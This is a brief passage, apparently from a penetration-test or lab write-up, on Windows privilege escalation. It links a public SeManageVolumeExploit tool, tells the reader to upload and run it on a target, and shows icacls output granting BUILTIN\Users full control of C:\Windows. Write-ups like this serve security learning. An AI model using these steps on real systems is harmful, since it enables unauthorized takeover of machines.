```powershell
https://github.com/CsEnox/SeManageVolumeExploit
# From Releases
SeManageVolumeExploit.exe
```
upload **SeManageVolumeExploit.exe** to the target and execute it. After execution, we discover that the `Builtin Users group` has full permissions on the Windows folder.
```powershell
C:\xampp\htdocs\uploads>icacls C:/Windows
C:/Windows NT SERVICE\TrustedInstaller:(F)
NT SERVICE\TrustedInstaller:(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(M)
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
BUILTIN\Users:(M)
BUILTIN\Users:(OI)(CI)(IO)(F)
```